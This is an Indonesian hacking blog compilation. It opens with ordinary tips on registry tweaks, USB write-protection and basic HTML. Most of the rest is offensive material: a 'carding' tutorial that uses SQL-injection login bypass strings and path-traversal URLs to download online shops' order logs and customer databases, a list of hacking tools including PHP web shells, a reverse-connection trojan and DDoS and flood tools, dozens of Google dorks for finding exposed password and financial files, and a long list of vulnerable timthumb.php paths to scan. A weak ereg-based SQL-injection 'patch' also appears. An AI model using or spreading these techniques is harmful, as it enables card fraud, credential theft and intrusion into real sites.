Cara mempercepat koneksi internet

Banyak pengguna internet di Indonesia yang kecewa dengan akses internet yang lambat, bahkan terkadang untuk browsing saja susah. Oleh karena itu tentunya banyak orang yang mencari cara mempercepat akses internet yang digunakannya.

Berikut ini adalah 3 cara mempercepat akses internet dengan melakukan pengaturan di komputer yang kita gunakan:

1. Mempercepat koneksi internet dengan gpedit.msc
Windows membatasi penggunaan bandwith kita sebesar 80% dan sisanya 20% belum di optimalkan. Untuk mengoptimalkannya kita bisa atur di gpedit.msc dan berikut caranya:
Klik Start >> Run >> ketik gpedit.msc >> Local Computer Policy >> Computer Configuration >> Administrative Templates >> Network >> QOS Packet Scheduler >> Limit Reservable Bandwidth >> Policy setting >> Pilih Disable >> OK

2. Mempercepat koneksi internet dengan DNS Cache
DNS (Domain Name System) digunakan sebagai cache atau penyimpanan sementara yakni dimana kita mengcache sebuah halaman seumpama halaman facebook login, jadi saat kita membuka halaman facebook untuk pertama kali maka loadingnya akan lambat, namun untuk kedua dan selanjutnya akan lebih cepat karena sudah ada cache yang tersimpan di komputer. Ini juga sebabnya kenapa kita perlu melakukan flushdns saat kita merubah DNS URL blog di komputer kita agar cepat mengetahui efeknya.
Berikut ini adalah cara mengatur DNS Cache untuk mempercepat akses internet:
Ketik kode atau script dibawah ini kemudian simpan di notepad dengan nama “dnscache.reg” (tanpa tanda petik)

[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServic es|DnscacheParameters]
“CacheHashTableBucketSize”=dword:00000001
“CacheHashTableSize”=dword:00000180
“MaxCacheEntryTtILimit”=dword:0000fa00
“MaxSOACacheEntryTtILimit”=dword:0000012d

Setelah berhasil disimpan klik dua kali pada file dnscache.reg kemudian klik “Yes”

3. Mempercepat koneksi dengan mengeksekusi kode regedit.exe
Langsung saja, silahkan ketik kode atau script dibawah ini kemudian simpan di notepad dengan nama “fast.reg” (tanpa tanda petik)

REGEDIT4
[HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesT cpipParameters]
“SackOpts”=dword:00000001
“TcpWindowSize”=dword:0005ae4c
“Tcp1323Opts”=dword:00000003
“DefaultTTL”=dword:00000040
“EnablePMTUBHDetect”=dword:00000000
“EnablePMTUDiscovery”=dword:00000001
“GlobalMaxTcpWindowSize”=dword:0005ae4c

Setelah berhasil disimpan kemudian klik dua kali pada file fast.reg kemudian klik “Yes”.

Silahkan coba gunakan untuk browsing internet, semoga akses koneksi internet Anda berjalan lebih cepat setelah melakukan pengaturan di atas, Selamat mencoba.

Read More »

Mengunci Folder agar tidak bisa di Copy

Agar data penting agan tidak di copy orang lain yang tidak berhak ada baiknya anda mem- block file dan folder agan agar tidak dapat di copy, melindungi, mengunci, data, file, folder agan dari pencurian data, tukang copy file orang sangat penting apalagi jika komputer anda digunakan oleh banyak orang.

Cara mengunci data agar tidak bisa di copy tanpa software adalah dengan registry editor :

1. Klik Start >> Run >> ketik regedit kemudian OK atau ENTER.
2. Klik HKEY_LOCAL_MACHINE /SYSTEM /CurrentControlSet/Control
3. Klik kanan pada Control pilih New >> Key kemudian beri nama StorageDevicePolicies
4. Klik kanan pada StorageDevicePolicies kemudian pilih New >> DWord Value kemudian beri nama WriteProtect
5. Lalu klik double pada WriteProtect tersebut, kemudian ganti value datanya menjadi 1.
6. Kemudian Restart Komputer/Laptop Anda.
7. Selesai

Coba copy salah satu file ke fd, akan muncul "Error Copying File or Folder" pada layar monitor komputer/laptop kalian. kalau kalian ingin mengembalikan kondisinya seperti semula maka tinggal ganti value nya menjadi 0.
Cara diatas banyak kekurangan karena semua file yang ada di komputer tidak bisa di copy dan sangat mudah mengubahnya jika orang tau edit registry,

Semoga Bermanfaat =))

Read More »

Dasar-Dasar Membuat Html

Untuk mengenal dasar-dasar HTML bagi Pemula disarankan menggunakan NotePad agar lebih mudah mengenal fungsi masing-masing TAG, atau menggunakan MS. Front Page/dreamweaver agar mudah mengetahui kesalahan atau kekurangan penulisan karena bisa langsung dilihat hasilnya.
HTML (HyperText Markup Language) umumnya terdiri dari perintah berikut:
<HTML>
<BODY>
Baru Belajar neeee…..
</BODY>
</HTML>
kode-kode dalam file HTML selalu dibatasi oleh tag < … >.
Untuk membuat title pada web tampilan tagnya seperti ini :
<HTML>
<HEAD>
<TITLE> Bhepal.Corp TITLE </TITLE>
</HEAD>
<BODY>
Baru Belajar neeee…..
</BODY>
</HTML>

Semoga Bermanfaat =))

Read More »

Tutorial Carding

Ini adalah tutor lama, tapi mungkin saja
masih bisa membantu temen² seperti saia
yang baru belajar.....
Contoh bugs pada bentuk toko system :
shopadmin

Ketik keyword google :
allinurl:/shopadmin.asp
Contoh target : http://www.Target.com/shopadmin.asp
user : 'or'1
pass : 'or'1
Contoh bugs pada bentuk toko sistem :
Index CGI
Ketik keyword google :
allinurl:/store/index.cgi/page=
Contoh target:
http://www.Target.com/cgi-bin/store/inde...e=short_bl ue.htm
Hapus short_blue.htm dan gantidengan
:./admin/files/order.log
Hasilnya:www.Target.c om/cgi-bin/store/index.cgi?page=../admin/files/order... log
Contoh bugs pada bentuk toko sistem :
metacart
Ketik keyword google.com :
allinurl:/metacart/
Contoh target :
http://www.Target.com/metacart/about.asp
Hapus moreinfo.asp dan ganti dengan :
--> /database/metacart.mdb
Hasilnya:
/www.Target.com/metacart/database/metacart.mdb
Contoh bugs pada bentuk toko sistem :DCShop
Ketik keyword google.com : allinurl:/DCShop/
Contoh : http://www.Target.com/xxxx/DCShop/xxxx
Hapus /DCShop/xxxx dan ganti dengan
/DCShop/orders/orders.txt atau
/DCShop/Orders/orders.txt
Hasilnya:
http://www.Target.com/xxxx/DCShop/orders/orders.txt
Contoh bugs pada bentuk toko sistem : EShop
Ketik keyword google.com : allinurl:/eshop/
Contoh : http://www.Target.com/xxxxx/eshop
Hapus /eshop dan ganti dengan :
/cg-bin/eshop/database/order.mdb

Hasilnya:
http://www.Target.com/.../cg-bin/eshop/d.../order.mdb
Download file *.mdb nya dan Buka file
tsb pakai Microsoft Acces

Read More »

Hack Tolls

Mungkin tool ini udah banyak yg punya, tp gak ada salah nya kan kalo gue share lagi :D







Link Downloadnya disini

Fungsi Tolls nya KK::

1.acunetix : untuk scanning web
2.Havij:Explorasi kelemahan bug's SQL
3.Dragon Browser:Browser buat mempermudah hacking
4.Dns Lan guard:Scanning Komputer di jaringan Lan
5.Netcat:tentu tahu dunk ,bisa disebut Swiss Army kit
6.Alballo:sama dengan acunetix,tapi lebih komplit acunetix
7.Undepfreze:mematikan depfrezee ver 7
6.Google Extractor:Scanning Bugs web,lebih khusus ke carding sebenernya
7.Shell PHP:kumpulan php shell ( c99,r57,b374k)
8.Doork Tools:sama dengan Google extractor,tapi lebih ke bugs sql
9.Google hack DB:kumpulan database google hack
10.Nikto:scanning web
11.Pangolin:sama dengan havij
12.Joomla+MD5 Hash:crack hash joomla dan md5
13.Xalp Page Finder:Scanning halaman Admin
14.Exploit Scanner:sama dengan Google extractor dan dork tools
15.Pasware kit:Crack Password suatu file yang terproteksi
16.Assasin:Trojan Reverse connection
17.Cain&Abel:sniffer,crack password
18.Flood Facebook:Spam wall facebook teman
19.Drakjumper:scanning server
20.digital blaster:Tools DDOS
21.Etherflood:Flood mac address

Thank you =))

Read More »

Cara Menangkal Serangan SQL Injection Menggunakan Patch

jika kamu adalah seorang admin,webmaster di suatu website . . .
pasti kamu ingin menangkal serangan dari Defacer...saya akan beri sedikit trick untuk menangkal Sql Injection.

sebaiknya,sebelum kamu meng-upload situs anda, uji coba dulu keamanan web, menggunakan tools seperti N-stealth keamanan scanner, Acuenetix Ltd' s web Vulnerability scanner, Jsky Vuln Scaner dan SPi Dynamics Weblnspect
untuk versi gratis,bisa menggunakan Nikto

software diatas bisa kalian cari di OM Google,, (Surfing Sendiri y)

jika udah di coba menggunakan software diatas, dan ketemu bug ,cari dimana letak nya, misalnya Url ini

Http://Yoursite/index.php?id=9

apabila ane tambahkan petik ' , terlihat error SQL .berarti bug na terletak di bagian index.php

sekarang coba lu buka notepad lalu tuliskan script berikut ini :

<?
if (ereg("%20union%20", $_GET['id'])||ereg("union",$_
GET['id']) || ereg("\*union\*",$_GET['id']) || ereg("\+union\+",
$_GET[id]) || ereg("\*",$_GET['id']))
{
ob_start();
header(''location: http://www.borneoattacker.com");
ob_flush();
}
?>

simpan file dengan nama patch.php
dan jangan lupa simpan file itu dengan 1 folder index.php

jika sudah , lu dapat membuka file index.php dan menambahkan

includepatch.php; 

Example:
<?php
include 'patch.php'; <----- Masukan Seperti Ini
include 'library/config.php';
Etc...........

mungkin code diatas sangat sederhana.
tetapi sangat membantu untuk melakukan patch pada bug SQL

GooD Luck  =))

Read More »

Pengertian Vulnerability Research dan situs Berita ttg Hacker

Vulnerability research adalah proses menemukan dan mencari kelemahan yang memungkinkan suatu sistem untuk di masuki / di hack. Beberapa situs sangat membantu dalam hal ini karena melaporkan berbagai permasalahan pada berbagai software.

1. National vulnerability database (http://nvd.nist.gov/)
ini adalah situs milik pemerintah amerika serikat yang mendokumentasikan berbagai informasi kelemahan / vulnerability dalam bentuk sebuah database.
Dengan adanya database ini, software – software keamanan bisa menggunakan data ini untuk berbagai kebutuhan seperti otomatisasi pengecekan kelemahan suatu sistem, kesalahan konfigurasi dan lainnya.

2. SecuriTeam ( http://securiteam.com)
Securiteam berusaha mengumpulkan semua informasi mengenai vulnerabilities secara terpusat sehingga anda tidak perlu lagi repot – repot mengikuti berbagai mailing list, situs dan komunitas hacker.
Salah satu kelebihan stus ini adalah update informasi yang cepat, rinci dan terdapat bagian tutorial / artikel buat anda yang suka mempelajari masalah keamanan.

3. Hackerstorm (http://hackerstorm.com)
Situs ini menyediakan informasi kelemahan lebih dari 1500 vendor. Keunggulannya anda dapat mendownload program kecil yang disediakan untuk mencari informasi kelemahan suatu produk baik secara online maupun offline secara gratis.

4. SecurityFocus (http://securityfocus.com)
Situs yang menjadi sumber informasi yang terpercaya dan dihormati. SecurityFocus terkenal dengan netralitasnya dan juga informasi yang berbobot. Situs ini juga mengelola mailinglist security oaling terkenal di dunia, yaitu bugtraq.
Mailing list yang dikelola diikuti oleh para ahli dari berbagai perusahaan seperti Microsoft, Cisco, dll. Selain para ahli dari vendor , anggota dari mailinglist bugtraq juga berasal dari para administrator, hobbies, end user dll.

Karena topik security yang begitu luas, securityfocus membagi mailinglist menjadi bagian yang lebih kecil dan terfokus pada bidang tertentu seperti khusus produk microsoft, linux, masalah forensic dll.
Jika anda ingin mengikuti mailinglist securityfocus, ikutilah mailinglist yang anda butuhkan saja dan sebaiknya jangan ikuti semua karena akan ada ratusan email setiap harinya dari sebuah mailinglist yang ramai.

5. Zone-h (http://zone-h.org)
Selain menyediakan berita dan artikel mengenai masalah keamanan, zone-h terkenal dengan pencatatan halaman deface yang dilakukan oleh hacker. Zone-h melakukan mirorring terhadap website yang telah di deface sehingga anda bisa melihat dokumentasi dari aksi hacker tersebut.

6. Milw0rm (http://milw0rm.com)
Milw0rm adalah situs favorit para hacker karena situs ini memberikan informasi dan juga berbagai code yang bisa digunakan untuk melakukan exploitasi atau hacking. Selain itu, situs ini juga menyediakan tutorial dalam bentuk video mengenai hacking .
Informasi di update setiap harinya yang terkadang bisa mencapai lebih dari 10 informasi kelemahan beserta code – code exploitasinya yang siap digunakan.

Good Luck =))

Read More »

Technique & Seni Hacking

- File Inclusion
- Shares misconfiguration
- SQL Injection
- DNS attack through social engineering
- Web Server external module intrusion
- Attack against the administrator/user (password stealing/sniffing)
- FTP Server intrusion
- Web Server intrusion
- Remote administrative panel access through password guessing
- Access credentials through Man In the Middle attack
- Telnet Server intrusion
- Rerouting after attacking the Router
- DNS attack through cache poisoning
- Other Web Application bug
- RPC Server intrusion
- Remote administrative panel access through social engineering
- Rerouting after attacking the Firewall
- SSH Server intrusion
- URL Poisoning
- Remote service password guessing
- Other Server intrusion
- Mail Server intrusion
- Remote administrative panel access through bruteforcing
- Remote service password bruteforce

Untuk menjdi Master Hacker harus bisa menguasai tehniq² ini dan jangan terpaku oleh satu tehniq saja.
Tapi sayang ane masih gk bisa apa² :(

Read More »

MENCARI PASSWORD dengan dork Google

Berikut, beberapa sintaks pencarian di google untuk menjelajah password:

1. "Login: *" "password =*" filetype: xls (perintah pencarian data ke file sistem yang disimpan di Microsoft Excel)

2. allinurl: auth_user_file.txt (untuk menemukan file auth_user_file.txt yang berisi password pada server).

3. filetype: xls inurl: "password.xls" (mencari username dan password dalam format excel ms). Perintah ini dapat berubah dengan admin.xls)

4. intitle: login password (mendapatkan link ke halaman login dengan kata-kata login pada title dan kata password di mana saja Jika Anda ingin indeks permintaan halaman lebih, allintitle jenis.)

5. intitle: "Index of" master.passwd (indeks halaman master password)

6. Index of / backup (akan mencari indeks file backup pada server)

7. intitle: index.of people.lst (akan menemukan halaman web yang berisi daftar user).

8. intitle: index.of passwd.bak (akan mencari indeks file backup password)

9. intitle: "Index of" pwd.db (mencari file database password).

10. intitle: "Index of .. etc" passwd (akan mengindeks perintah ini halaman urutan sandi).

11. index.of passlist.txt (akan memuat halaman yang berisi daftar password dalam format teks jelas).

12. index.of.secret (google akan membawa pada halaman berisi dokumen rahasia). Sintaks ini juga berubah dengan situs pemerintah query: gov untuk mencari file rahasia pemerintah, termasuk data password) atau menggunakan sintaks: index.of.private

13. filetype: xls username password email (akan menemukan filese spreadsheet yang berisi daftar username dan password).

14. "# PhpMyAdmin MySQL-Dump" filetype: txt (akan mengindeks halaman yang berisi data sensitif administrasi yang membangun dengan php)

15. inurl: ipsec.secrets-sejarah-bug (berisi data rahasia yang hanya oleh super user). atau memesan dengan inurl: ipsec.secrets "memegang rahasia bersama"

16. inurl: ipsec.conf-intitle: manual (berguna untuk menemukan file berisi data penting untuk hacking)

17. inurl: "wvdial.conf" intext: "password" (menampilkan koneksi dialup yang berisi nomor telepon, username dan password)

18. inurl: "user.xls" intext: "password" (menampilkan url yang menyimpan username dan password dalam file spread sheet)

19. filetype: ldb admin (web server akan mencari kata sandi penyimpanan dalam database yang dos tidak menghapus dengan googledork)

20.inurl: search / admin.php (akan mencari halaman web php untuk login admin). Jika Anda beruntung, Anda akan menemukan halaman konfigurasi admin untuk membuat user baru.

21. inurl: password.log filetype: log (keyword ini untuk mencari file log di url tertentu)

22. filetype: reg HKEY_CURRENT_USER username (Keyword ini digunakan untuk mencari file reg (registyry) untuk jalan HCU (HKEY_CURRENT_USER))


Pada kenyataannya, ada banyak perintah lagi yang bisa google cari . Untuk itu, kunjungi web untuk menambah wawasan tentang kemampuan google.

Berikut, beberapa sintaks google lain yg bisa mencari data dalam web:

"Http: / / username: password @ www ..." filetype: bak inurl: "htaccess | passwd | shadow | ht acces"
(Perintah ini adalah untuk mengambil nama pengguna dan password untuk file cadangan)

filetype: mdb inurl: "account | acces| admin | administrator | passwd | password" mdb file (perintah ini adalah untuk mengambil informasi password)

filetype: ini WS_FTP pwd (mencari password admin dengan file ws_ftp.ini)

intitle: "Index of" pwd.db (mencari nama pengguna dan password terenkripsi)

inurl: admin inurl: backup intitle: index.of (mencari direktori yang namanya mengandung kata-kata dan cadangan admin)

"Index of /" "Parent Directory" "WS _ http://FTP.ini" filetype: ini WS _ FTP PWD (WS_FTP file konfigurasi adalah untuk mengambil password server akses FTP)

ext: pwd inurl: (layanan | penulis | administrator | pengguna) "#-FrontPage-" (Microsoft FrontPage password)

filetype: sql ("passwd nilai ****" |" nilai sandi ****" | nilai lulus "****") mencari kode SQL dan password disimpan dalam database)

intitle: index.of trillian.ini (file konfigurasi untuk Trillian IM)

eggdrop filetype: user (file konfigurasi pengguna untuk ircbot EGGDROP)

filetype: conf slapd.conf (konfigurasi file untuk openldap)

inurl: "wvdial.conf" intext: "password" (file konfigurasi untuk WV Dial)

ext: eudora.ini ini (file konfigurasi untuk Eudora mail client)

filetype: mdb inurl: users.mdb (berpotensi untuk mengambil informasi account pengguna dengan file Microsoft Access)

intitle: dupics inurl: (add.asp | default.asp | view.asp | voting.asp)-situs: duware.com (website yang menggunakan DUclassified, DUcalendar, DUdirectory, DUclassmate, DUdownload, DUpaypal, DUforum atau aplikasi DUpics, oleh default memungkinkan kita untuk mengambil password file)

Untuk DUclassified, kunjungi _private http:///duClassified/ / duclassified.mdb
atau http:///duClassified/ atau http:///duClassified/

intext: "BiTBOARD v2.0" "BiTSHiFTERS Bulletin Board" (Bitboard2 menggunakan papan buletin situs, pengaturan default memungkinkan untuk mengambil file password dapat diperoleh dengan cara http:///forum/admin/data _ passwd . dat
atau http:///forum/forum.php) atau http:///forum/forum.php)

Mencari dokumen spesifik:

filetype: xls inurl: "email.xls" (berpotensi untuk mengambil informasi kontak)

"Telepon * * *" "alamat *" "e-mail" intitle: "curriculum vitae"
CV "tidak untuk distribusi" (rahasia dokumen yang berisi klausul rahasia
buddylist.blt)

AIM daftar kontak AIM daftar kontak

intitle: index.of mystuff.xml intitle: index.of mystuff.xml

Trillian IM Trillian daftar kontak dalam daftar kontak IM

filetype: CTT "msn" filetype: Catatan "msn"

MSN daftar kontak MSN daftar kontak

filetype: QDF (file database QDF untuk aplikasi keuangan Quicken)

intitle: index.of finances.xls (finances.xls file, berpotensi untuk mengambil informasi tentang rekening bank, Ringkasan keuangan dan nomor kartu kredit)

intitle: "Index Of"-inurl: maillog (berpotensi untuk mengambil e-mail)

Just be Happy for Hacking =))

---

Read More »

Bug Dork Timthumb 2012 Scan Irc

wp-content/plugins/wp-pagenavi/timthumb.php
wp-content/plugins/wp-pagenavi/inc/timthumb.php
wp-content/plugins/wp-pagenavi/functions/timthumb.php
wp-content/plugins/wp-pagenavi/scripts/timthumb.php
wp-content/themes/canvas/timthumb.php
wp-content/themes/TheStyle/timthumb.php
wp-content/plugins/wp-mobile-detector/timthumb.php
wp-content/plugins/igit-related-posts-with-thumb-images-after-posts/timthumb.php
wp-content/themes/Magnificent/timthumb.php
wp-content/themes/freshnews/timthumb.php
wp-content/themes/ElegantEstate/timthumb.php
wp-content/themes/bueno/timthumb.php
wp-content/themes/magazinum/scripts/timthumb.php
wp-content/themes/sportpress/scripts/timthumb.php
wp-content/themes/flashnews/timthumb.php
wp-content/plugins/dukapress/lib/timthumb.php
wp-content/plugins/shortcodes-ultimate/lib/timthumb.php
wp-content/plugins/islidex/js/timthumb.php
wp-content/plugins/highlighter/libs/timthumb.php
wp-content/plugins/wordpress-gallery-plugin/timthumb.php
wp-content/plugins/igit-posts-slider-widget/timthumb.php
wp-content/themes/Magnificent/scripts/timthumb.php
wp-content/themes/profitstheme_11/scripts/timthumb.php
wp-content/themes/MyProduct/scripts/timthumb.php
wp-content/themes/canvas/scripts/timthumb.php
wp-content/themes/Glow/scripts/timthumb.php
wp-content/themes/inspire/scripts/timthumb.php
wp-content/themes/overeasy/scripts/timthumb.php
wp-content/themes/Nova/scripts/timthumb.php
wp-content/themes/bueno/scripts/timthumb.php
wp-content/themes/themorningafter/scripts/timthumb.php
wp-content/themes/delegate/scripts/timthumb.php
wp-content/themes/Bold/scripts/timthumb.php
wp-content/themes/eVid/scripts/timthumb.php
wp-content/themes/Apz/scripts/timthumb.php
wp-content/themes/redcarpet/scripts/timthumb.php
wp-content/themes/irresistible/scripts/timthumb.php
wp-content/themes/OnTheGo/scripts/timthumb.php
wp-content/themes/max-3.0.0/scripts/timthumb.php
wp-content/themes/newsworld/scripts/timthumb.php
wp-content/themes/ColdStone/scripts/timthumb.php
wp-content/themes/Chameleon/scripts/timthumb.php
wp-content/themes/Polished/scripts/timthumb.php
wp-content/themes/sealight/scripts/timthumb.php
wp-content/themes/newsworld-1.0.0/scripts/timthumb.php
wp-content/themes/postcard/scripts/timthumb.php
wp-content/themes/Quadro/scripts/timthumb.php
wp-content/themes/aqua-blue/scripts/timthumb.php
wp-content/themes/wootube/scripts/timthumb.php
wp-content/themes/deep-blue/scripts/timthumb.php
wp-content/themes/flashnews/scripts/timthumb.php
wp-content/themes/sportpress/scripts/timthumb.php
wp-content/themes/coffeebreak/scripts/timthumb.php
wp-content/themes/mymag/scripts/timthumb.php
wp-content/themes/magazinum/scripts/timthumb.php
wp-content/themes/wp-creativix/scripts/timthumb.php
wp-content/themes/PureType/scripts/timthumb.php
wp-content/themes/cityguide/scripts/timthumb.php
wp-content/themes/cinch/scripts/timthumb.php
wp-content/themes/backstage/scripts/timthumb.php
wp-content/themes/profitstheme/scripts/timthumb.php
wp-content/themes/diarise/scripts/timthumb.php
wp-content/themes/ElegantEstate/scripts/timthumb.php
wp-content/themes/digitalfarm/scripts/timthumb.php
wp-content/themes/mystream/scripts/timthumb.php
wp-content/themes/object/scripts/timthumb.php
wp-content/themes/nomadic/scripts/timthumb.php
wp-content/themes/comfy-3.0.9/scripts/timthumb.php
wp-content/themes/metamorphosis/scripts/timthumb.php
wp-content/themes/retreat/scripts/timthumb.php
wp-content/themes/royalle/scripts/timthumb.php
wp-content/themes/openair/scripts/timthumb.php
wp-content/themes/thejournal/scripts/timthumb.php
wp-content/themes/PersonalPress/scripts/timthumb.php
wp-content/themes/slanted/scripts/timthumb.php
wp-content/themes/sophisticatedfolio/scripts/timthumb.php
wp-content/themes/TheStyle/scripts/timthumb.php
wp-content/themes/canvas/timthumb.php
wp-content/themes/TheSource/scripts/timthumb.php
wp-content/themes/Minimal/scripts/timthumb.php
wp-content/themes/typebased/scripts/timthumb.php
wp-content/themes/thestation/scripts/timthumb.php
wp-content/themes/bueno/timthumb.php
wp-content/themes/headlines/scripts/timthumb.php
wp-content/themes/inspire/timthumb.php
wp-content/themes/OptimizePress/timthumb.php
wp-content/themes/sealight/timthumb.php
wp-content/themes/SimplePress/timthumb.php
wp-content/themes/modularity/timthumb.php
wp-content/themes/AskIt/timthumb.php
wp-content/themes/headlines/timthumb.php
wp-content/themes/busybee/timthumb.php
wp-content/themes/diarise/timthumb.php
wp-content/themes/Glow/timthumb.php
wp-content/themes/gazette/timthumb.php
wp-content/themes/PersonalPress/timthumb.php
wp-content/themes/delicate/timthumb.php
wp-content/themes/premiumnews/timthumb.php
wp-content/themes/Nova/timthumb.php
wp-content/themes/overeasy/timthumb.php
wp-content/themes/spectrum/timthumb.php
wp-content/themes/delegate/timthumb.php
wp-content/themes/PureType/timthumb.php
wp-content/themes/skeptical/timthumb.php
wp-content/themes/TheSource/timthumb.php
wp-content/themes/typebased/timthumb.php
wp-content/themes/TheCorporation/timthumb.php
wp-content/themes/cityguide/timthumb.php
wp-content/themes/Minimal/timthumb.php
wp-content/themes/profitstheme/timthumb.php
wp-content/themes/crisp/timthumb.php
wp-content/themes/snapshot/timthumb.php
wp-content/themes/Apz/timthumb.php
wp-content/themes/ColdStone/timthumb.php
wp-content/themes/Bold/timthumb.php
wp-content/themes/13floor/timthumb.php
wp-content/themes/OnTheGo/timthumb.php
wp-content/themes/redcarpet/timthumb.php
wp-content/themes/Chameleon/timthumb.php
wp-content/themes/irresistible/timthumb.php
wp-content/themes/eVid/timthumb.php
wp-content/themes/max-3.0.0/timthumb.php
wp-content/themes/newsworld/timthumb.php
wp-content/themes/newsworld-1.0.0/timthumb.php
wp-content/themes/comfy-3.0.9/timthumb.php
wp-content/themes/eNews/timthumb.php
wp-content/themes/flashnews/timthumb.php
wp-content/themes/magazinum/timthumb.php
wp-content/themes/mymag/timthumb.php
wp-content/themes/sportpress/timthumb.php
wp-content/themes/postcard/timthumb.php
wp-content/themes/mimbopro/timthumb.php
wp-content/themes/themorningafter/timthumb.php
wp-content/themes/MyProduct/timthumb.php
wp-content/themes/cinch/timthumb.php
wp-content/themes/dailyedition/timthumb.php
wp-content/themes/coffeebreak/timthumb.php
wp-content/themes/digitalfarm/timthumb.php
wp-content/themes/ElegantEstate/timthumb.php
wp-content/themes/mystream/timthumb.php
wp-content/themes/nomadic/timthumb.php
wp-content/themes/openair/timthumb.php
wp-content/themes/LightBright/timthumb.php
wp-content/themes/wootube/timthumb.php
wp-content/themes/Quadro/timthumb.php
wp-content/themes/sophisticatedfolio/timthumb.php
wp-content/themes/slanted/timthumb.php
wp-content/themes/thejournal/timthumb.php
wp-content/themes/thestation/timthumb.php
wp-content/themes/Basic/timthumb.php
wp-content/themes/royalle/timthumb.php
wp-content/themes/eGamer/timthumb.php
wp-content/themes/metamorphosis/timthumb.php
wp-content/themes/object/timthumb.php
wp-content/themes/wp-creativix/timthumb.php
wp-content/themes/retreat/timthumb.php
wp-content/themes/profitstheme_11/timthumb.php
wp-content/themes/backstage/timthumb.php
wp-content/themes/aqua-blue/timthumb.php
wp-content/themes/deep-blue/timthumb.php
wp-content/themes/premiumnews/scripts/timthumb.php
wp-content/themes/sealight/tools/timthumb.php
wp-content/themes/SimplePress/tools/timthumb.php
wp-content/themes/wootube/tools/timthumb.php
wp-content/themes/headlines/tools/timthumb.php
wp-content/themes/typebased/tools/timthumb.php
wp-content/themes/MyProduct/tools/timthumb.php
wp-content/themes/inspire/tools/timthumb.php
wp-content/themes/OptimizePress/tools/timthumb.php
wp-content/themes/dailyedition/tools/timthumb.php
wp-content/themes/PersonalPress/tools/timthumb.php
wp-content/themes/delegate/tools/timthumb.php
wp-content/themes/coffeebreak/tools/timthumb.php
wp-content/themes/optimize/tools/timthumb.php
wp-content/themes/AskIt/tools/timthumb.php
wp-content/themes/PureType/tools/timthumb.php
wp-content/themes/eNews/tools/timthumb.php
wp-content/themes/modularity/tools/timthumb.php
wp-content/themes/snapshot/tools/timthumb.php
wp-content/themes/DeepFocus/tools/timthumb.php
wp-content/themes/eVid/tools/timthumb.php
wp-content/themes/deep-blue/tools/timthumb.php
wp-content/themes/nomadic/tools/timthumb.php
wp-content/themes/gazette/tools/timthumb.php
wp-content/themes/TheStyle/tools/timthumb.php
wp-content/themes/crisp/tools/timthumb.php
wp-content/themes/Nova/tools/timthumb.php
wp-content/themes/wp-creativix/tools/timthumb.php
wp-content/themes/diarise/tools/timthumb.php
wp-content/themes/Glow/tools/timthumb.php
wp-content/themes/themorningafter/tools/timthumb.php
wp-content/themes/OnTheGo/tools/timthumb.php
wp-content/themes/irresistible/tools/timthumb.php
wp-content/themes/Bold/tools/timthumb.php
wp-content/themes/busybee/tools/timthumb.php
wp-content/themes/Apz/tools/timthumb.php
wp-content/themes/Polished/tools/timthumb.php
wp-content/themes/postcard/tools/timthumb.php
wp-content/themes/TheCorporation/tools/timthumb.php
wp-content/themes/TheSource/tools/timthumb.php
wp-content/themes/openair/tools/timthumb.php
wp-content/themes/mymag/tools/timthumb.php
wp-content/themes/cityguide/tools/timthumb.php
wp-content/themes/object/tools/timthumb.php
wp-content/themes/Magnificent/tools/timthumb.php
wp-content/themes/13floor/tools/timthumb.php
wp-content/themes/premiumnews/tools/timthumb.php
wp-content/themes/ElegantEstate/tools/timthumb.php
wp-content/themes/sportpress/tools/timthumb.php
wp-content/themes/LightBright/tools/timthumb.php
wp-content/themes/freshnews/tools/timthumb.php
wp-content/themes/newsworld/tools/timthumb.php
wp-content/themes/delicate/tools/timthumb.php
wp-content/themes/spectrum/tools/timthumb.php
wp-content/themes/backstage/tools/timthumb.php
wp-content/themes/comfy-3.0.9/tools/timthumb.php
wp-content/themes/Minimal/tools/timthumb.php
wp-content/themes/overeasy/tools/timthumb.php
wp-content/themes/mimbopro/tools/timthumb.php
wp-content/themes/Chameleon/tools/timthumb.php
wp-content/themes/skeptical/tools/timthumb.php
wp-content/themes/ColdStone/tools/timthumb.php
wp-content/themes/profitstheme/tools/timthumb.php
wp-content/themes/profitstheme_11/tools/timthumb.php
wp-content/themes/TheProfessional/tools/timthumb.php
wp-content/themes/magazinum/tools/timthumb.php
wp-content/themes/Basic/tools/timthumb.php
wp-content/themes/flashnews/tools/timthumb.php
wp-content/themes/cinch/tools/timthumb.php
wp-content/themes/mystream/tools/timthumb.php
wp-content/themes/Widescreen/tools/timthumb.php
wp-content/themes/newsworld-1.0.0/tools/timthumb.php
wp-content/themes/redcarpet/tools/timthumb.php
wp-content/themes/eGamer/tools/timthumb.php
wp-content/themes/metamorphosis/tools/timthumb.php
wp-content/themes/Quadro/tools/timthumb.php
wp-content/themes/aqua-blue/tools/timthumb.php
wp-content/themes/bueno/tools/timthumb.php
wp-content/themes/canvas/tools/timthumb.php
wp-content/themes/skeptical/scripts/timthumb.php
wp-content/themes/max-3.0.0/tools/timthumb.php
wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php
wp-content/plugins/simple-post-thumbnails/timthumb.php
wp-content/plugins/zingiri-web-shop/fws/addons/timthumb/timthumb.php
wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php
wp-content/plugins/simple-post-thumbnails/timthumb.php
wp-content/plugins/zingiri-web-shop/fws/addons/timthumb/timthumb.php
wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php
wp-content/plugins/simple-post-thumbnails/timthumb.php
wp-content/plugins/zingiri-web-shop/fws/addons/timthumb/timthumb.php
wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php
wp-content/plugins/simple-post-thumbnails/timthumb.php
wp-content/plugins/zingiri-web-shop/fws/addons/timthumb/timthumb.php
wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php
wp-content/plugins/simple-post-thumbnails/timthumb.php
wp-content/plugins/zingiri-web-shop/fws/addons/timthumb/timthumb.php
wp-content/plugins/feature-slideshow/timthumb.php
wp-content/plugins/igit-related-posts-with-thumb-images-after-posts/timthumb.php
wp-content/plugins/todo-espaco-online-links-felipe/timthumb.php
wp-content/plugins/mediarss-external-gallery/timthumb.php
wp-content/plugins/rent-a-car/libs/timthumb.php
wp-content/plugins/vk-gallery/lib/timthumb.php
wp-content/plugins/extend-wordpress/helpers/timthumb/image.php
wp-content/plugins/pictmobi-widget/timthumb.php
wp-content/plugins/category-list-portfolio-page/scripts/timthumb.php
wp-content/plugins/simple-slide-show/timthumb.php
